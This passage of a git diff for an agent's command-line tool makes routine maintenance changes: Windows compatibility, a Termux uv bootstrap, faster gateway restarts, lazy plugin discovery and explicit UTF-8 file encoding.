_ensure_uv_for_termux(pip_cmd) if uv_bin: uv_env = {**os.environ, "VIRTUAL_ENV": str(PROJECT_ROOT / "venv")} + if _is_termux_env(uv_env): + uv_env.pop("PYTHONPATH", None) + uv_env.pop("PYTHONHOME", None) _install_python_dependencies_with_optional_fallback([uv_bin, "pip"], env=uv_env) else: # Use sys.executable to explicitly call the venv's pip module, # avoiding PEP 668 'externally-managed-environment' errors on Debian/Ubuntu. # Some environments lose pip inside the venv; bootstrap it back with # ensurepip before trying the editable install. - pip_cmd = [sys.executable, "-m", "pip"] try: subprocess.run( pip_cmd + ["--version"], @@ -6545,6 +6569,25 @@ def _install_python_dependencies_with_optional_fallback( ) +def _is_termux_env(env: dict[str, str] | None = None) -> bool: + check = env or os.environ + prefix = str(check.get("PREFIX", "")) + return "com.termux" in prefix or prefix.startswith("/data/data/com.termux/") + + +def _ensure_uv_for_termux(pip_cmd: list[str]) -> str | None: + """Best-effort uv bootstrap on Termux for faster update installs.""" + uv_bin = shutil.which("uv") + if uv_bin or not _is_termux_env(): + return uv_bin + try: + print(" → Termux detected: trying to install uv for faster dependency updates...") + subprocess.run(pip_cmd + ["install", "uv"], cwd=PROJECT_ROOT, check=False) + except Exception: + pass + return shutil.which("uv") + + def _update_node_dependencies() -> None: npm = shutil.which("npm") if not npm: @@ -6841,7 +6884,7 @@ def _ensure_fhs_path_guard() -> None: if sys.platform != "linux": return try: - if os.geteuid() != 0: + if os.geteuid() != 0: # windows-footgun: ok — Linux FHS helper, guarded by sys.platform == "linux" above + AttributeError catch return except AttributeError: return @@ -7289,9 +7332,13 @@ def _cmd_update_impl(args, gateway_mode: bool): # breaks on this machine, keep base deps and reinstall the remaining extras # individually so update does not silently strip working capabilities. print("→ Updating Python dependencies...") - uv_bin = shutil.which("uv") + pip_cmd = [sys.executable, "-m", "pip"] + uv_bin = shutil.which("uv") or _ensure_uv_for_termux(pip_cmd) if uv_bin: uv_env = {**os.environ, "VIRTUAL_ENV": str(PROJECT_ROOT / "venv")} + if _is_termux_env(uv_env): + uv_env.pop("PYTHONPATH", None) + uv_env.pop("PYTHONHOME", None) _install_python_dependencies_with_optional_fallback( [uv_bin, "pip"], env=uv_env ) @@ -7741,14 +7788,56 @@ def _cmd_update_impl(args, gateway_mode: bool): ) if _graceful_ok: - # Gateway exited 75; systemd should relaunch - # via Restart=on-failure. The unit's - # RestartSec (default 30s on ours) gates the - # respawn — poll past that + slack so we - # don't give up mid-cooldown and falsely - # print "drained but didn't relaunch". For - # units without RestartSec set we fall back - # to the original 10s budget. + # Gateway exited 75. ``Restart=always`` + + # ``RestartForceExitStatus=75`` means systemd + # WILL respawn the unit — but only after + # ``RestartSec`` (default 60s on our unit + # file). That 60s wait is a crash-loop guard, + # and is the right default when the gateway + # dies unexpectedly. For a voluntary restart + # on update, it's dead time the user watches. + # + # Shortcut it: ``reset-failed`` + ``start`` + # skips RestartSec entirely (we're manually + # initiating the unit, not waiting for + # systemd's auto-restart logic). Takes about + # as long as the process takes to come up + # (~1-3s on a warm box). + # + # If the unit is already active because + # RestartSec elapsed while we were draining, + # ``start`` is a no-op and we fall through to + # the poll below. Either way we collapse the + # 60s+ delay to a ~5s one. + subprocess.run( + scope_cmd + ["reset-failed", svc_name], + capture_output=True, + text=True, + timeout=10, + ) + subprocess.run( + scope_cmd + ["start", svc_name], + capture_output=True, + text=True, + timeout=15, + ) + # Short poll: the gateway should be up within + # a few seconds now that we bypassed + # RestartSec. Fall back to the longer + # RestartSec + slack budget ONLY if the + # explicit start failed and we need to rely + # on systemd's auto-restart. + if _wait_for_service_active( + scope_cmd, + svc_name, + timeout=10.0, + ): + restarted_services.append(svc_name) + continue + # Explicit start didn't take. Fall back to + # the original passive poll (systemd's + # auto-restart WILL fire after RestartSec + # regardless). _restart_sec = _service_restart_sec( scope_cmd, svc_name, @@ -7971,10 +8060,15 @@ def _cmd_update_impl(args, gateway_mode: bool): print( f" ⚠ {len(_stuck)} gateway process(es) ignored SIGTERM — force-killing" ) + from gateway.status import terminate_pid as _terminate_pid for pid in _stuck: try: - os.kill(pid, _signal.SIGKILL) - except (ProcessLookupError, PermissionError): + # Routes through taskkill /T /F on Windows, + # SIGKILL on POSIX — _signal.SIGKILL doesn't + # exist on Windows so the old raw os.kill call + # used to crash the entire update path. + _terminate_pid(pid, force=True) + except (ProcessLookupError, PermissionError, OSError): pass # Give the OS a beat to reap the processes so the # watchers see them exit and respawn. @@ -8778,8 +8872,122 @@ def _build_provider_choices() -> list[str]: ] +# Top-level subcommands that argparse knows about WITHOUT running plugin +# discovery. Used to short-circuit eager plugin imports (which can take +# 500ms+ pulling in google.cloud.pubsub_v1, aiohttp, grpc, etc.) when the +# user's invocation clearly doesn't need any plugin-registered subcommand. +# +# Keep this in sync with the ``subparsers.add_parser("NAME", ...)`` calls +# below in ``main()``. Missing an entry here only costs a one-time +# discovery; extra entries here would let a plugin command silently fail +# to parse. +_BUILTIN_SUBCOMMANDS = frozenset( + { + "acp", "auth", "backup", "checkpoints", "claw", "completion", + "config", "cron", "curator", "dashboard", "debug", "doctor", + "dump", "fallback", "gateway", "hooks", "import", "insights", + "kanban", "login", "logout", "logs", "mcp", "memory", "model", + "pairing", "plugins", "profile", "sessions", "setup", "skills", + "slack", "status", "tools", "uninstall", "update", "version", + "webhook", "whatsapp", "chat", + # Help-ish invocations — plugin commands not being listed in + # top-level --help is an acceptable trade-off for skipping an + # expensive eager import of every bundled plugin module. + "help", + } +) + + +# Top-level flags that take a value. Needed by ``_first_positional_argv`` +# so that in ``hermes -m gpt5 chat``, ``gpt5`` is correctly skipped as a +# flag value rather than misclassified as a subcommand. Kept in sync with +# the top-level flags declared in ``hermes_cli/_parser.py``. +# +# Correctness-safe either way: missing an entry here only makes the +# fast-path bail out too eagerly (we run plugin discovery when we didn't +# need to); extra entries would make us skip a real positional. +_TOP_LEVEL_VALUE_FLAGS = frozenset( + { + "-z", "--oneshot", + "-m", "--model", + "--provider", + "-t", "--toolsets", + "-r", "--resume", + "-s", "--skills", + # ``-c / --continue`` is nargs='?' (optional value). Treat it as + # value-taking: if the next token is a subcommand-looking word + # the user almost certainly meant it as the session name, and + # either interpretation keeps us on the safe side. + "-c", "--continue", + } +) + + +def _first_positional_argv() -> str | None: + """Return the first non-flag, non-flag-value token in ``sys.argv[1:]``. + + Used by ``main()`` to decide whether plugin discovery has to run at + argparse-setup time. Handles common invocations like + ``hermes -m gpt5 --provider openai chat "msg"`` by skipping the + values attached to known top-level flags. + + Does NOT fully simulate argparse — unknown ``--foo=bar`` / ``--foo + bar`` flags degrade gracefully (``bar`` may be wrongly classified as + a positional, which at worst forces a one-time plugin discovery). + """ + argv = sys.argv[1:] + i = 0 + while i < len(argv): + tok = argv[i] + if tok == "--": + # Everything after ``--`` is positional. + if i + 1 < len(argv): + return argv[i + 1] + return None + if tok.startswith("-"): + # ``--flag=value`` carries its value inline — single token. + if "=" in tok: + i += 1 + continue + if tok in _TOP_LEVEL_VALUE_FLAGS and i + 1 < len(argv): + i += 2 + continue + i += 1 + continue + return tok + return None + + +def _plugin_cli_discovery_needed() -> bool: + """True when the CLI might be invoking a plugin-registered subcommand. + + Returning False lets ``main()`` skip plugin discovery entirely during + argparse setup, saving ~500-650ms per invocation for users whose + enabled plugins don't contribute any CLI command. + """ + first = _first_positional_argv() + if first is None: + # Bare ``hermes`` or only flags → defaults to ``chat``. + return False + if first in _BUILTIN_SUBCOMMANDS: + return False + # Unknown token — could be a plugin subcommand, OR a chat prompt + # starting with a non-flag word. Either way we need discovery: if it + # IS a plugin command, argparse needs the subparser; if it's a chat + # prompt, argparse will route it via positional handling and the + # extra discovery cost is amortized over a full agent run anyway. + return True + + def main(): """Main entry point for hermes CLI.""" + # Force UTF-8 stdio on Windows before anything prints. No-op elsewhere. + try: + from hermes_cli.stdio import configure_windows_stdio + configure_windows_stdio() + except Exception: + pass + from hermes_cli._parser import build_top_level_parser parser, subparsers, chat_parser = build_top_level_parser() @@ -10055,39 +10263,46 @@ Examples: # Plugin CLI commands — dynamically registered by memory/general plugins. # Plugins provide a register_cli(subparser) function that builds their # own argparse tree. No hardcoded plugin commands in main.py. + # + # Skipped when the invocation is already targeting a known built-in + # subcommand — ``hermes --help``, ``hermes version``, ``hermes logs``, + # etc. This avoids eagerly importing every bundled plugin module + # (google.cloud.pubsub_v1, aiohttp, grpc, PIL …) which costs + # 500-650ms on typical installs. # ========================================================================= - try: - from plugins.memory import discover_plugin_cli_commands - from hermes_cli.plugins import discover_plugins, get_plugin_manager + if _plugin_cli_discovery_needed(): + try: + from plugins.memory import discover_plugin_cli_commands + from hermes_cli.plugins import discover_plugins, get_plugin_manager - seen_plugin_commands = set() - for cmd_info in discover_plugin_cli_commands(): - plugin_parser = subparsers.add_parser( - cmd_info["name"], - help=cmd_info["help"], - description=cmd_info.get("description", ""), - formatter_class=__import__("argparse").RawDescriptionHelpFormatter, - ) - cmd_info["setup_fn"](plugin_parser) - if cmd_info.get("handler_fn") is not None: - plugin_parser.set_defaults(func=cmd_info["handler_fn"]) - seen_plugin_commands.add(cmd_info["name"]) + seen_plugin_commands = set() + for cmd_info in discover_plugin_cli_commands(): + plugin_parser = subparsers.add_parser( + cmd_info["name"], + help=cmd_info["help"], + description=cmd_info.get("description", ""), + formatter_class=__import__("argparse").RawDescriptionHelpFormatter, + ) + cmd_info["setup_fn"](plugin_parser) + if cmd_info.get("handler_fn") is not None: + plugin_parser.set_defaults(func=cmd_info["handler_fn"]) + seen_plugin_commands.add(cmd_info["name"]) - discover_plugins() - for cmd_info in get_plugin_manager()._cli_commands.values(): - if cmd_info["name"] in seen_plugin_commands: - continue - plugin_parser = subparsers.add_parser( - cmd_info["name"], - help=cmd_info["help"], - description=cmd_info.get("description", ""), - formatter_class=__import__("argparse").RawDescriptionHelpFormatter, - ) - cmd_info["setup_fn"](plugin_parser) - if cmd_info.get("handler_fn") is not None: - plugin_parser.set_defaults(func=cmd_info["handler_fn"]) - except Exception as _exc: - logging.getLogger(__name__).debug("Plugin CLI discovery failed: %s", _exc) + discover_plugins() + for cmd_info in get_plugin_manager()._cli_commands.values(): + if cmd_info["name"] in seen_plugin_commands: + continue + plugin_parser = subparsers.add_parser( + cmd_info["name"], + help=cmd_info["help"], + description=cmd_info.get("description", ""), + formatter_class=__import__("argparse").RawDescriptionHelpFormatter, + ) + cmd_info["setup_fn"](plugin_parser) + if cmd_info.get("handler_fn") is not None: + plugin_parser.set_defaults(func=cmd_info["handler_fn"]) + except Exception as _exc: + logging.getLogger(__name__).debug("Plugin CLI discovery failed: %s", _exc) # ========================================================================= # curator command — background skill maintenance diff --git a/hermes_cli/memory_setup.py b/hermes_cli/memory_setup.py index 158f80a7669..7b2c6067288 100644 --- a/hermes_cli/memory_setup.py +++ b/hermes_cli/memory_setup.py @@ -69,7 +69,7 @@ def _install_dependencies(provider_name: str) -> None: try: import yaml - with open(yaml_path) as f: + with open(yaml_path, encoding="utf-8") as f: meta = yaml.safe_load(f) or {} except Exception: return @@ -377,7 +377,7 @@ def _write_env_vars(env_path: Path, env_writes: dict) -> None: if key not in updated_keys: new_lines.append(f"{key}={val}") - env_path.write_text("\n".join(new_lines) + "\n") + env_path.write_text("\n".join(new_lines) + "\n", encoding="utf-8") # --------------------------------------------------------------------------- diff --git a/hermes_cli/model_catalog.py b/hermes_cli/model_catalog.py index 6ec7c4ec51d..a1f4b761566 100644 --- a/hermes_cli/model_catalog.py +++ b/hermes_cli/model_catalog.py @@ -173,7 +173,7 @@ def _read_disk_cache() -> tuple[dict[str, Any] | None, float]: except (OSError, FileNotFoundError): return (None, 0.0) try: - with open(path) as fh: + with open(path, encoding="utf-8") as fh: data = json.load(fh) except (OSError, json.JSONDecodeError): return (None, 0.0) @@ -187,7 +187,7 @@ def _write_disk_cache(data: dict[str, Any]) -> None: try: path.parent.mkdir(parents=True, exist_ok=True) tmp = path.with_suffix(path.suffix + ".tmp") - with open(tmp, "w") as fh: + with open(tmp, "w", encoding="utf-8") as fh: json.dump(data, fh, indent=2) fh.write("\n") atomic_replace(tmp, path) diff --git a/hermes_cli/oneshot.py b/hermes_cli/oneshot.py index ca30f079046..b1e774b756d 100644 --- a/hermes_cli/oneshot.py +++ b/hermes_cli/oneshot.py @@ -174,7 +174,7 @@ def run_oneshot( # Redirect stderr AND stdout to devnull for the entire call tree. # We'll print the final response to the real stdout at the end. real_stdout = sys.stdout - devnull = open(os.devnull, "w") + devnull = open(os.devnull, "w", encoding="utf-8") try: with redirect_stdout(devnull), redirect_stderr(devnull): diff --git a/hermes_cli/plugins.py b/hermes_cli/plugins.py index 12674577376..2171e6d50dc 100644 --- a/hermes_cli/plugins.py +++ b/hermes_cli/plugins.py @@ -870,7 +870,7 @@ class PluginManager: if yaml is None: logger.warning("PyYAML not installed – cannot load %s", manifest_file) return None - data = yaml.safe_load(manifest_file.read_text()) or {} + data = yaml.safe_load(manifest_file.read_text(encoding="utf-8")) or {} name = data.get("name", plugin_dir.name) key = f"{prefix}/{plugin_dir.name}" if prefix else name diff --git a/hermes_cli/plugins_cmd.py b/hermes_cli/plugins_cmd.py index a13e1b212c6..bb4fe0f29da 100644 --- a/hermes_cli/plugins_cmd.py +++ b/hermes_cli/plugins_cmd.py @@ -127,7 +127,7 @@ def _read_manifest(plugin_dir: Path) -> dict: try: import yaml - with open(manifest_file) as f: + with open(manifest_file, encoding="utf-8") as f: return yaml.safe_load(f) or {} except Exception as e: logger.warning("Failed to read plugin.yaml in %s: %s", plugin_dir, e) @@ -703,7 +703,7 @@ def _discover_all_plugins() -> list: description = "" if yaml: try: - with open(manifest_file) as f: + with open(manifest_file, encoding="utf-8") as f: manifest = yaml.safe_load(f) or {} name = manifest.get("name", d.name) version = manifest.get("version", "") diff --git a/hermes_cli/profiles.py b/hermes_cli/profiles.py index a8bc229bf9c..1114821d99d 100644 --- a/hermes_cli/profiles.py +++ b/hermes_cli/profiles.py @@ -375,7 +375,7 @@ def _read_distribution_meta(profile_dir: Path) -> tuple: return None, None, None try: import yaml - with open(mf_path, "r") as f: + with open(mf_path, "r", encoding="utf-8") as f: data = yaml.safe_load(f) or {} if not isinstance(data, dict): return None, None, None @@ -395,7 +395,7 @@ def _read_config_model(profile_dir: Path) -> tuple: return None, None try: import yaml - with open(config_path, "r") as f: + with open(config_path, "r", encoding="utf-8") as f: cfg = yaml.safe_load(f) or {} model_cfg = cfg.get("model", {}) if isinstance(model_cfg, str): @@ -812,7 +812,6 @@ def _cleanup_gateway_service(name: str, profile_dir: Path) -> None: def _stop_gateway_process(profile_dir: Path) -> None: """Stop a running gateway process via its PID file.""" - import signal as _signal import time as _time pid_file = profile_dir / "gateway.pid" @@ -823,19 +822,25 @@ def _stop_gateway_process(profile_dir: Path) -> None: raw = pid_file.read_text().strip() data = json.loads(raw) if raw.startswith("{") else {"pid": int(raw)} pid = int(data["pid"]) - os.kill(pid, _signal.SIGTERM) - # Wait up to 10s for graceful shutdown + # Route through terminate_pid so Windows uses the appropriate + # primitive (taskkill / TerminateProcess) — raw os.kill with + # _signal.SIGKILL raises AttributeError at import time on Windows, + # and raw os.kill with SIGTERM doesn't cascade to child processes + # the same way taskkill /T does. + from gateway.status import terminate_pid as _terminate_pid + from gateway.status import _pid_exists + _terminate_pid(pid) # graceful first + # Wait up to 10s for graceful shutdown. On Windows, os.kill(pid, 0) + # is NOT a no-op — use the handle-based existence check. for _ in range(20): _time.sleep(0.5) - try: - os.kill(pid, 0) - except ProcessLookupError: + if not _pid_exists(pid): print(f"✓ Gateway stopped (PID {pid})") return # Force kill try: - os.kill(pid, _signal.SIGKILL) - except ProcessLookupError: + _terminate_pid(pid, force=True) + except (ProcessLookupError, OSError): pass print(f"✓ Gateway force-stopped (PID {pid})") except (ProcessLookupError, PermissionError): diff --git a/hermes_cli/pt_input_extras.py b/hermes_cli/pt_input_extras.py new file mode 100644 index 00000000000..41b4727a5a5 --- /dev/null +++ b/hermes_cli/pt_input_extras.py @@ -0,0 +1,51 @@ +"""Augmentations to prompt_toolkit's input-parsing tables. + +Imported once at CLI startup. Each helper installs a small mapping into +prompt_toolkit's `ANSI_SEQUENCES` so byte sequences emitted by modern +keyboard protocols (Kitty / xterm `modifyOtherKeys`) decode to existing +key tuples Hermes already binds. + +Kept in a standalone module — separate from `cli.py` — so the registrations +can be unit-tested without importing the whole CLI runtime. +""" + +from __future__ import annotations + + +def install_shift_enter_alias() -> int: + """Map Shift+Enter byte sequences to the (Escape, ControlM) key tuple + that Alt+Enter produces, so the existing Alt+Enter newline handler + fires for terminals that emit a distinct Shift+Enter. + + Sequences mapped: + - "\\x1b[13;2u" — Kitty keyboard protocol / CSI-u, modifier=2 (Shift) + - "\\x1b[27;2;13~" — xterm modifyOtherKeys=2, modifier=2 (Shift) + - "\\x1b[27;2;13u" — alternate ordering some emitters use + + The CSI-u sequence is not in stock prompt_toolkit. The modifyOtherKeys + variant `\\x1b[27;2;13~` IS in stock prompt_toolkit but mapped to plain + `Keys.ControlM` — i.e. Shift+Enter behaves identically to Enter, which + is the very bug this helper exists to fix. We therefore overwrite + those two specific keys (and `\\x1b[27;2;13u`) unconditionally; other + `\\x1b[27;...;13~` sequences (Ctrl+Enter, Alt+Enter via modifyOtherKeys + variants 5/6/etc.) are left untouched. + + Default macOS Terminal and stock Windows Terminal still send the same + byte for Enter and Shift+Enter, so there is no fix for those terminals + at the application layer — the sequences above never reach Hermes. + + Returns the number of sequences whose mapping was changed. + """ + try: + from prompt_toolkit.input.ansi_escape_sequences import ANSI_SEQUENCES + from prompt_toolkit.keys import Keys + except Exception: + return 0 + + alt_enter = (Keys.Escape, Keys.ControlM) + changed = 0 + for seq in ("\x1b[13;2u", "\x1b[27;2;13~", "\x1b[27;2;13u"): + if ANSI_SEQUENCES.get(seq) != alt_enter: + ANSI_SEQUENCES[seq] = alt_enter + changed += 1 + return changed diff --git a/hermes_cli/pty_bridge.py b/hermes_cli/pty_bridge.py index 66fdb4ac720..f2ef8d0876d 100644 --- a/hermes_cli/pty_bridge.py +++ b/hermes_cli/pty_bridge.py @@ -7,11 +7,14 @@ keystrokes can be fed back in. The only caller today is the Design constraints: -* **POSIX-only.** Hermes Agent supports Windows exclusively via WSL, which - exposes a native POSIX PTY via ``openpty(3)``. Native Windows Python - has no PTY; :class:`PtyUnavailableError` is raised with a user-readable - install/platform message so the dashboard can render a banner instead of - crashing. +* **POSIX-only.** This module depends on ``fcntl``, ``termios``, and + ``ptyprocess``, none of which exist on native Windows Python. Native + Windows ConPTY is a different API (Windows 10 build 17763+) and would + need a separate Windows implementation (``pywinpty``) — that's tracked + as a future enhancement. On native Windows, importing this module + raises :class:`ImportError` and the dashboard's ``/chat`` tab shows a + WSL-recommended banner instead of crashing. Every other feature in the + dashboard (sessions, jobs, metrics, config editor) works natively. * **Zero Node dependency on the server side.** We use :mod:`ptyprocess`, which is a pure-Python wrapper around the OS calls. The browser talks to the same ``hermes --tui`` binary it would launch from the CLI, so @@ -210,7 +213,7 @@ class PtyBridge: # SIGHUP is the conventional "your terminal went away" signal. # We escalate if the child ignores it. - for sig in (signal.SIGHUP, signal.SIGTERM, signal.SIGKILL): + for sig in (signal.SIGHUP, signal.SIGTERM, signal.SIGKILL): # windows-footgun: ok — POSIX-only module (imports fcntl/termios/ptyprocess at top) if not self._proc.isalive(): break try: diff --git a/hermes_cli/relaunch.py b/hermes_cli/relaunch.py index 32a5dacd222..a5a8431fbe3 100644 --- a/hermes_cli/relaunch.py +++ b/hermes_cli/relaunch.py @@ -84,18 +84,34 @@ def resolve_hermes_bin() -> Optional[str]: 1. ``sys.argv[0]`` if it resolves to a real executable. 2. ``shutil.which("hermes")`` on PATH. 3. ``None`` → caller should fall back to ``python -m hermes_cli.main``. + + Windows note: ``os.access(path, os.X_OK)`` returns True for ``.py`` and + ``.pyc`` files on Windows (the OS treats anything listed in PATHEXT as + executable, and Python files are often registered there). But + ``subprocess.run([script.py, ...])`` can't actually execute a .py + directly — CreateProcessW needs a real .exe, not a script associated + with the Python launcher. On Windows we therefore skip the argv[0] + fast-path when it points at a .py file and fall through to either + ``hermes.exe`` on PATH or the ``sys.executable -m hermes_cli.main`` + fallback. """ argv0 = sys.argv[0] + _is_windows = sys.platform == "win32" + + def _is_python_script(p: str) -> bool: + return p.lower().endswith((".py", ".pyc")) # Absolute path to an executable (covers nix store, venv wrappers, etc.) if os.path.isabs(argv0) and os.path.isfile(argv0) and os.access(argv0, os.X_OK): - return argv0 + if not (_is_windows and _is_python_script(argv0)): + return argv0 # Relative path — resolve against CWD if not argv0.startswith("-") and os.path.isfile(argv0): abs_path = os.path.abspath(argv0) if os.access(abs_path, os.X_OK): - return abs_path + if not (_is_windows and _is_python_script(abs_path)): + return abs_path # PATH lookup path_bin = shutil.which("hermes") @@ -142,8 +158,48 @@ def relaunch( preserve_inherited: bool = True, original_argv: Optional[Sequence[str]] = None, ) -> None: - """Replace the current process with a fresh hermes invocation.""" + """Replace the current process with a fresh hermes invocation. + + On POSIX we use ``os.execvp`` which replaces the running process with + the new one in place — same PID, no double-fork. That's what the + relaunch contract wants: "run hermes again as if the user had typed + the new argv". + + Windows has no native exec semantics — ``os.execvp`` on Windows + *emulates* exec by spawning the child and exiting the parent, but + only works when the target is a real Win32 executable. Our target + is usually ``hermes.exe`` (a Python console-script shim that wraps + ``python -m hermes_cli.main``) or a ``.cmd`` batch file, and both + raise ``OSError(8, "Exec format error")`` on Windows' execvp. + + The Windows-correct pattern is: spawn the child with ``subprocess.run`` + (which routes through ``cmd.exe`` via ``shell=False`` + PATHEXT resolution), + wait for it to exit, then propagate its exit code via ``sys.exit``. + That's functionally equivalent — the user sees "hermes exited, then + new hermes started" — just with two PIDs in play instead of one. + """ new_argv = build_relaunch_argv( extra_args, preserve_inherited=preserve_inherited, original_argv=original_argv ) - os.execvp(new_argv[0], new_argv) \ No newline at end of file + if sys.platform == "win32": + # Windows: subprocess + exit, because execvp can't swap to .cmd/.exe shims. + import subprocess + try: + result = subprocess.run(new_argv) + sys.exit(result.returncode) + except KeyboardInterrupt: + sys.exit(130) + except OSError as exc: + # Surface a helpful error rather than the raw OSError — the + # caller used to see ``[Errno 8] Exec format error`` which is + # cryptic. Common causes: ``hermes`` not on PATH yet (install + # hasn't propagated User PATH into this shell) or a stale shim. + print( + f"\nHermes relaunch failed: {exc}\n" + f"Command: {' '.join(new_argv)}\n" + f"Fix: open a new terminal so PATH picks up, then re-run hermes.", + file=sys.stderr, + ) + sys.exit(1) + else: + os.execvp(new_argv[0], new_argv) \ No newline at end of file diff --git a/hermes_cli/setup.py b/hermes_cli/setup.py index d39df8b3b10..ad5d80b921f 100644 --- a/hermes_cli/setup.py +++ b/hermes_cli/setup.py @@ -2446,6 +2446,7 @@ def setup_gateway(config: dict): _is_linux = _platform.system() == "Linux" _is_macos = _platform.system() == "Darwin" + _is_windows = _platform.system() == "Windows" from hermes_cli.gateway import ( _is_service_installed, @@ -2470,7 +2471,7 @@ def setup_gateway(config: dict): service_installed = _is_service_installed() service_running = _is_service_running() supports_systemd = supports_systemd_services() - supports_service_manager = supports_systemd or _is_macos + supports_service_manager = supports_systemd or _is_macos or _is_windows print() if supports_systemd and has_conflicting_systemd_units(): @@ -2490,6 +2491,9 @@ def setup_gateway(config: dict): systemd_restart() elif _is_macos: launchd_restart() + elif _is_windows: + from hermes_cli import gateway_windows + gateway_windows.restart() except UserSystemdUnavailableError as e: print_error(" Restart failed — user systemd not reachable:") for line in str(e).splitlines(): @@ -2512,6 +2516,9 @@ def setup_gateway(config: dict): systemd_start() elif _is_macos: launchd_start() + elif _is_windows: + from hermes_cli import gateway_windows + gateway_windows.start() except UserSystemdUnavailableError as e: print_error(" Start failed — user systemd not reachable:") for line in str(e).splitlines(): @@ -2522,7 +2529,12 @@ def setup_gateway(config: dict): except Exception as e: print_error(f" Start failed: {e}") elif supports_service_manager: - svc_name = "systemd" if supports_systemd else "launchd" + if supports_systemd: + svc_name = "systemd" + elif _is_macos: + svc_name = "launchd" + else: + svc_name = "Scheduled Task" if prompt_yes_no( f" Install the gateway as a {svc_name} service? (runs in background, starts on boot)", True, @@ -2530,13 +2542,23 @@ def setup_gateway(config: dict): try: installed_scope = None did_install = False + started_inline = False if supports_systemd: installed_scope, did_install = install_linux_gateway_from_setup(force=False) - else: + elif _is_macos: launchd_install(force=False) did_install = True + else: + # gateway_windows.install() registers the Scheduled + # Task AND starts it immediately (via schtasks /Run + # or a direct spawn fallback), so no separate start + # prompt is needed here. + from hermes_cli import gateway_windows + gateway_windows.install(force=False) + did_install = True + started_inline = True print() - if did_install and prompt_yes_no(" Start the service now?", True): + if did_install and not started_inline and prompt_yes_no(" Start the service now?", True): try: if supports_systemd: systemd_start(system=installed_scope == "system") diff --git a/hermes_cli/skills_hub.py b/hermes_cli/skills_hub.py index 88c0978a93b..3bfb0631cc4 100644 --- a/hermes_cli/skills_hub.py +++ b/hermes_cli/skills_hub.py @@ -1257,7 +1257,7 @@ def do_snapshot_export(output_path: str, console: Optional[Console] = None) -> N sys.stdout.write(payload) else: out = Path(output_path) - out.write_text(payload) + out.write_text(payload, encoding="utf-8") c.print(f"[bold green]Snapshot exported:[/] {out}") c.print(f"[dim]{len(installed)} skill(s), {len(tap_list)} tap(s)[/]\n") @@ -1274,7 +1274,7 @@ def do_snapshot_import(input_path: str, force: bool = False, return try: - snapshot = json.loads(inp.read_text()) + snapshot = json.loads(inp.read_text(encoding="utf-8")) except json.JSONDecodeError: c.print(f"[bold red]Error:[/] Invalid JSON in {inp}\n") return diff --git a/hermes_cli/slack_cli.py b/hermes_cli/slack_cli.py index ca00588ed16..1f1747f4454 100644 --- a/hermes_cli/slack_cli.py +++ b/hermes_cli/slack_cli.py @@ -48,6 +48,11 @@ def _build_full_manifest(bot_name: str, bot_description: str) -> dict: "background_color": "#1a1a2e", }, "features": { + "app_home": { + "home_tab_enabled": False, + "messages_tab_enabled": True, + "messages_tab_read_only_enabled": False, + }, "bot_user": { "display_name": bot_name[:80], "always_online": True, @@ -69,6 +74,7 @@ def _build_full_manifest(bot_name: str, bot_description: str) -> dict: "files:read", "files:write", "groups:history", + "groups:read", "im:history", "im:read", "im:write", diff --git a/hermes_cli/stdio.py b/hermes_cli/stdio.py new file mode 100644 index 00000000000..51c3f7ba530 --- /dev/null +++ b/hermes_cli/stdio.py @@ -0,0 +1,252 @@ +"""Windows-safe stdio configuration. + +On Windows, Python's ``sys.stdout``/``sys.stderr`` default to the console's +active code page (often ``cp1252``, sometimes ``cp437``, occasionally ``cp932`` +on Japanese locales, etc.). Hermes's banners, tool output feed, and slash +command listings all contain Unicode: box-drawing characters (``─┌┐└┘├┤``), +mathematical and geometric symbols (``◆ ◇ ◎ ▣ ⚔ ⚖ →``), and user-supplied +text in any language. Printing those to a cp1252 console raises +``UnicodeEncodeError: 'charmap' codec can't encode character…`` and kills the +whole CLI before the REPL even opens. + +The fix is to force UTF-8 on the Python side and also flip the console's +code page to UTF-8 (65001). Both matter: Python-level only helps when +Python's stdout is a real TTY; code-page flipping lets subprocesses and +child Python ``print()`` calls agree on encoding. + +This module is a no-op on every non-Windows platform, and idempotent. +Entry points (``cli.py`` ``main``, ``hermes_cli/main.py`` CLI dispatch, +``gateway/run.py`` startup) call :func:`configure_windows_stdio` exactly +once early in startup. + +Patterns cribbed from Claude Code (``src/utils/platform.ts``), OpenCode +(``packages/opencode/src/pty/index.ts`` env injection), and OpenAI Codex +(``codex-rs/core/src/unified_exec/process_manager.rs``). None of those +actually flip the console code page — they rely on their runtime (Node or +Rust) writing UTF-16 to the Win32 console API and letting the terminal +sort it out. Python doesn't get that luxury. +""" + +from __future__ import annotations + +import os +import sys + +__all__ = ["configure_windows_stdio", "is_windows"] + + +_CONFIGURED = False + + +def is_windows() -> bool: + """Return True iff running on native Windows (not WSL).""" + return sys.platform == "win32" + + +def _flip_console_code_page_to_utf8() -> None: + """Set the attached console's input and output code pages to UTF-8. + + Uses ``SetConsoleCP`` / ``SetConsoleOutputCP`` via ``ctypes``. Failure + is silent — if there's no attached console (e.g. Hermes is running + behind a redirected stdout, under a service, or inside a PTY-less CI + runner) these calls simply return 0 and we move on. + + CP_UTF8 is 65001. + """ + try: + import ctypes + + kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined] + # Best-effort; if there's no console attached these just fail silently. + kernel32.SetConsoleCP(65001) + kernel32.SetConsoleOutputCP(65001) + except Exception: + # ctypes import, missing kernel32, or non-Windows — any failure here + # is non-fatal. We've still reconfigured Python's own streams below. + pass + + +def _reconfigure_stream(stream, *, encoding: str = "utf-8", errors: str = "replace") -> None: + """Reconfigure a text stream to UTF-8 in place. + + Uses ``TextIOWrapper.reconfigure`` (Python 3.7+). If the stream isn't + a ``TextIOWrapper`` (e.g. it's been redirected to an ``io.StringIO`` + during tests), we skip rather than blow up. + """ + try: + reconfigure = getattr(stream, "reconfigure", None) + if reconfigure is None: + return + reconfigure(encoding=encoding, errors=errors) + except Exception: + pass + + +def configure_windows_stdio() -> bool: + """Force UTF-8 stdio on Windows. No-op elsewhere. + + Idempotent — safe to call multiple times from different entry points. + + Returns ``True`` if anything was actually changed, ``False`` on + non-Windows or on a repeat call. + + Set ``HERMES_DISABLE_WINDOWS_UTF8=1`` in the environment to opt out + (for diagnosing encoding-related bugs by forcing the old cp1252 path). + + Also sets a sensible default ``EDITOR`` on Windows if none is already + set — see :func:`_default_windows_editor`. + """ + global _CONFIGURED + + if _CONFIGURED: + return False + if not is_windows(): + # Mark configured so repeated calls on POSIX are true no-ops. + _CONFIGURED = True + return False + + if os.environ.get("HERMES_DISABLE_WINDOWS_UTF8") in ("1", "true", "True", "yes"): + _CONFIGURED = True + return False + + # Encourage every 